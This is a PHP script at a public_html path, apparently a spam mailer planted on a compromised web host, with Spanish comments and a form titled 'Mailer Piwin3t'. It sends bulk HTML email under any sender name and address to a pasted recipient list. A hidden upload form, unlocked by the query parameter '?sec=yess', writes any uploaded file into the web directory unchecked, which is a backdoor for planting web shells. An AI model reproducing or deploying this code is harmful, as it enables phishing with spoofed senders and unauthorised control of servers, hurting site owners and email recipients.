/home/preegmxb/public_html/codigophpmailer.php
<?php
// Aumentar el tiempo de ejecución
if (function_exists('set_time_limit')) {
set_time_limit(0);
}
// Inicializar variables
$enviado = false;
$estadoSubida = '';
$message = $subject = $de = $nombre = $ellos = '';
// Manejo del formulario
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
$message = stripslashes($_POST['html'] ?? '');
$subject = trim($_POST['assunto'] ?? '');
$de = filter_var(trim($_POST['de'] ?? ''), FILTER_SANITIZE_EMAIL);
$nombre = htmlspecialchars(trim($_POST['RealName'] ?? ''));
$ellos = trim($_POST['ellos'] ?? '');
// Preparar headers
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=UTF-8\r\n";
$headers .= "From: $nombre <$de>\r\n";
$headers .= "Reply-To: $de\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
// Dividir los emails
$destinatarios = array_filter(array_map('trim', explode("\n", $ellos)));
$total = count($destinatarios);
$enviados = 0;
// Enviar correos
foreach ($destinatarios as $correo) {
if (filter_var($correo, FILTER_VALIDATE_EMAIL)) {
$personalizado = str_replace('%email%', $correo, $message);
if (mail($correo, $subject, $personalizado, $headers)) {
echo "<p style='color:blue;'>[$enviados/$total] Enviado a $correo</p>";
} else {
echo "<p style='color:red;'>[$enviados/$total] Error al enviar a $correo</p>";
}
flush();
$enviados++;
}
}
echo "<script>alert('Todos los correos han sido procesados.');</script>";
$enviado = true;
}
// Subida de archivos (si está activado por ?sec=yess)
if (!empty($_GET['sec']) && $_GET['sec'] === 'yess') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'upload') {
if (isset($_FILES['archivo']) && $_FILES['archivo']['error'] === UPLOAD_ERR_OK) {
$nombreArchivo = basename($_FILES['archivo']['name']);
$rutaDestino = __DIR__ . '/' . $nombreArchivo;
if (move_uploaded_file($_FILES['archivo']['tmp_name'], $rutaDestino)) {
$estadoSubida = "Archivo subido correctamente: <b>" . htmlspecialchars($nombreArchivo) . "</b>";
} else {
$estadoSubida = "Error al subir el archivo.";
}
} else {
$estadoSubida = "Archivo no válido.";
}
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Mailer actualizado</title>
</head>
<body style="font-family: Arial, sans-serif; font-size: 14px;">
<center>
<form action="" method="post" enctype="multipart/form-data">
<h2>Mailer Piwin3t </h2>
<table>
<tr>
<td>Email de envío:</td>
<td><input type="email" name="de" size="40" value="<?php echo htmlspecialchars($de); ?>"></td>
</tr>
<tr>
<td>Nombre:</td>
<td><input type="text" name="RealName" size="40" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
<tr>
<td>Asunto:</td>
<td><input type="text" name="assunto" size="60" value="<?php echo htmlspecialchars($subject); ?>"></td>
</tr>
<tr>
<td>Mensaje HTML:</td>
<td><textarea name="html" rows="10" cols="80"><?php echo htmlspecialchars($message); ?></textarea></td>
</tr>
<tr>
<td>Destinatarios (uno por línea):</td>
<td><textarea name="ellos" rows="10" cols="40"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
<tr>
<td colspan="2" align="center"><br><input type="submit" name="Enoc" value="Enviar"></td>
</tr>
</table>
</form>
<?php if (!empty($_GET['sec']) && $_GET['sec'] === 'yess'): ?>
<hr>
<h3>Subir archivo</h3>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="archivo" required>
<input type="hidden" name="action" value="upload">
<input type="submit" value="Subir Archivo">
</form>
<p><?= $estadoSubida ?></p>
<?php endif; ?>
</center>
</body>
</html>